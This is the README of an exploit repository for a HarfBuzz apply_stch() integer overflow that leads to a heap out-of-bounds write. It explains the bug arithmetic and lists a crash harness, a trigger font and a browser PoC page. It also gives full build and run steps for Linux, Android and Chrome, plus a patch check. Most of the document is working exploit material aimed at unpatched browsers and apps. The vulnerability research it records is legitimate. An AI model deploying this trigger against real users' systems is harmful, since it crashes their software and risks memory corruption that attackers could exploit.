Share
## https://sploitus.com/exploit?id=E4BC4653-1B76-59F0-83C7-DDDABD36A472
# HarfBuzz apply_stch() โ Integer Overflow โ Heap OOB Write
Crash harness, trigger font, and browser PoC for the integer overflow in
HarfBuzz's `apply_stch()` function, fixed in HarfBuzz 13.1.0 (March 2026).
Companion to the Mobile Hacking Lab write-up:
**https://www.mobilehackinglab.com/blog/harfbuzz-5823-arabic-font-shaper-heap-corruption**
---
## The Bug
`apply_stch()` in `hb-ot-layout-gsub-table.hh` implements the OpenType STCH
feature (Stretching Cursive Terminals Horizontal) for Arabic tatweel glyphs.
Its Count pass accumulates `extra_glyphs_needed` using a signed `int32`
multiplication that overflows, wraps negative, is cast to `uint32`, and summed
across two sections โ producing a uint32 wrap-around that makes
`buffer->ensure()` succeed on a tiny allocation. The subsequent Insert pass
then writes ~4.29 billion glyph entries past the end of that allocation.
```
n_copies ร n_repeating โ signed int32 overflow โ large negative
โ cast uint32, summed 2 sections โ 131,072 (true value ~4.295 B)
โ buffer->ensure(229,388) SUCCEEDS โ 1,835,008-byte allocation
โ Insert pass writes 4,294,967,296 entries โ HEAP OOB WRITE at byte 0
```
**Chromium tracked this as a renderer heap-buffer-overflow** caused by
HarfBuzz `apply_stch()` โ documented in the Chromium issue tracker.
See also: [HarfBuzz PR #5823](https://github.com/harfbuzz/harfbuzz/pull/5823).
**Affected:** HarfBuzz 1.1.0 โ 13.0.1 (10+ years of releases).
**Fixed:** HarfBuzz 13.1.0, March 11 2026.
**No CVE assigned** โ the fix was committed without a public advisory.
---
## Files
| File | Purpose |
|---|---|
| `stch_crash.c` | Full harness โ loads `evil_stch.ttf`, calls `hb_shape()`, prints overflow arithmetic, catches SIGSEGV. Pass `--asan` build for heap report. |
| `stch_asan_direct.c` | Standalone ASAN demo โ simulates the OOB write directly, no HarfBuzz required. Quickest path to a heap-buffer-overflow report. |
| `evil_stch.ttf` | Trigger font โ 4 glyphs, GSUB STCH table, STCH_REPEATING advance = 1 design unit. |
| `evil_stch.html` | Browser PoC โ embeds `evil_stch.ttf` as a base64 data URI with an Arabic RTL paragraph. Load in Chrome (desktop or Android). |
| `Makefile` | Builds both harness variants against HarfBuzz 13.0.1. |
| `run_asan_android.sh` | Push โ run โ pull โ symbolize pipeline via adb for a connected Android device. |
---
## Prerequisites
- clang (any recent version)
- cmake + ninja
- HarfBuzz 13.0.1 source (downloaded by the build steps below)
- For Android: Android NDK r27c
---
## Build and Run
### Quickest โ no HarfBuzz needed
```bash
clang -fsanitize=address -g -O1 -o stch_asan_direct stch_asan_direct.c
./stch_asan_direct
```
Produces an instant `heap-buffer-overflow` WRITE report from ASAN.
### Full harness against HarfBuzz 13.0.1
```bash
# 1. Download last vulnerable release
curl -LO https://github.com/harfbuzz/harfbuzz/releases/download/13.0.1/harfbuzz-13.0.1.tar.xz
tar xf harfbuzz-13.0.1.tar.xz
export HB=/tmp/harfbuzz-13.0.1
# 2. Release build (SIGSEGV output with overflow math printed)
cmake -S $HB -B $HB/build_final \
-DCMAKE_BUILD_TYPE=Release \
-DHB_BUILD_TESTS=OFF -DHB_BUILD_UTILS=OFF -DHB_HAVE_CORETEXT=OFF
cmake --build $HB/build_final --target harfbuzz -- -j$(nproc)
clang -g -O2 -I$HB/src -o stch_crash stch_crash.c \
$HB/build_final/libharfbuzz.a -lstdc++ -lm
./stch_crash evil_stch.ttf
# 3. ASAN build (heap-buffer-overflow report with shadow bytes)
cmake -S $HB -B $HB/build_asan \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-fsanitize=address -g -O1" \
-DCMAKE_CXX_FLAGS="-fsanitize=address -g -O1" \
-DHB_BUILD_TESTS=OFF -DHB_BUILD_UTILS=OFF -DHB_HAVE_CORETEXT=OFF
cmake --build $HB/build_asan --target harfbuzz -- -j$(nproc)
clang -fsanitize=address -g -O1 -I$HB/src -o stch_crash_asan stch_crash.c \
$HB/build_asan/libharfbuzz.a -lstdc++ -lm
./stch_crash_asan evil_stch.ttf
```
### Android ARM64
```bash
NDK=/tmp/android-ndk-r27c
CLANG=$NDK/toolchains/llvm/prebuilt/$(uname -s | tr '[:upper:]' '[:lower:]')-x86_64/bin/aarch64-linux-android31-clang++
# Build HarfBuzz for ARM64 with ASAN (see Makefile for cmake flags)
# Then:
$CLANG -fsanitize=address -static-libsan -g -O1 -I$HB/src \
-o stch_direct_asan_android stch_crash.c \
$HB/build_android_asan/libharfbuzz.a -lstdc++
./run_asan_android.sh # push โ run โ pull log โ symbolize
```
### Browser PoC
Serve `evil_stch.html` over localhost (Chrome blocks `file://` @font-face on Android):
```bash
python3 -m http.server 8033
# Android: adb forward tcp:8033 tcp:8033
# Open in Chrome: http://localhost:8033/evil_stch.html
```
On an unpatched Chrome the renderer tab will crash. On Android you will see
`SandboxedProcessService` crash entries in the system log.
### Verify the patch
Build the same harness against HarfBuzz 13.1.0. Expected output:
```
[?] hb_shape() returned without crash.
HarfBuzz 13.1.0 caps stch expansion per run before 32-bit arithmetic wraps.
```
---
## Expected Output (vulnerable build)
```
=== AIKIDO-2026-10356 HarfBuzz ensure(98316 + 131072 = 229388) SUCCEEDS
CUT pass then writes 4294967296 glyph slots โ heap OOB write โ CRASH
---------------------------------------------
[*] Calling hb_shape() ...
[!] SIGSEGV caught โ heap OOB write confirmed
apply_stch wrote past the glyph buffer boundary.
Run with ASAN build for full stack trace.
```
---
## References
- [HarfBuzz PR #5823 โ Cap stch expansion per run](https://github.com/harfbuzz/harfbuzz/pull/5823)
- [HarfBuzz 13.1.0 release](https://github.com/harfbuzz/harfbuzz/releases/tag/13.1.0)
- [MHL write-up โ HarfBuzz apply_stch() heap corruption](https://www.mobilehackinglab.com/blog/harfbuzz-5823-arabic-font-shaper-heap-corruption)
- [MHL write-up โ CVE-2025-27363 FreeType OOB Write](https://www.mobilehackinglab.com/blog/cve-2025-27363-freetype-oob-write)
---
## Disclaimer
All testing was performed against locally compiled vulnerable binaries and our
own crafted fonts on devices under our control. No production systems or
third-party infrastructure were targeted. For educational purposes only.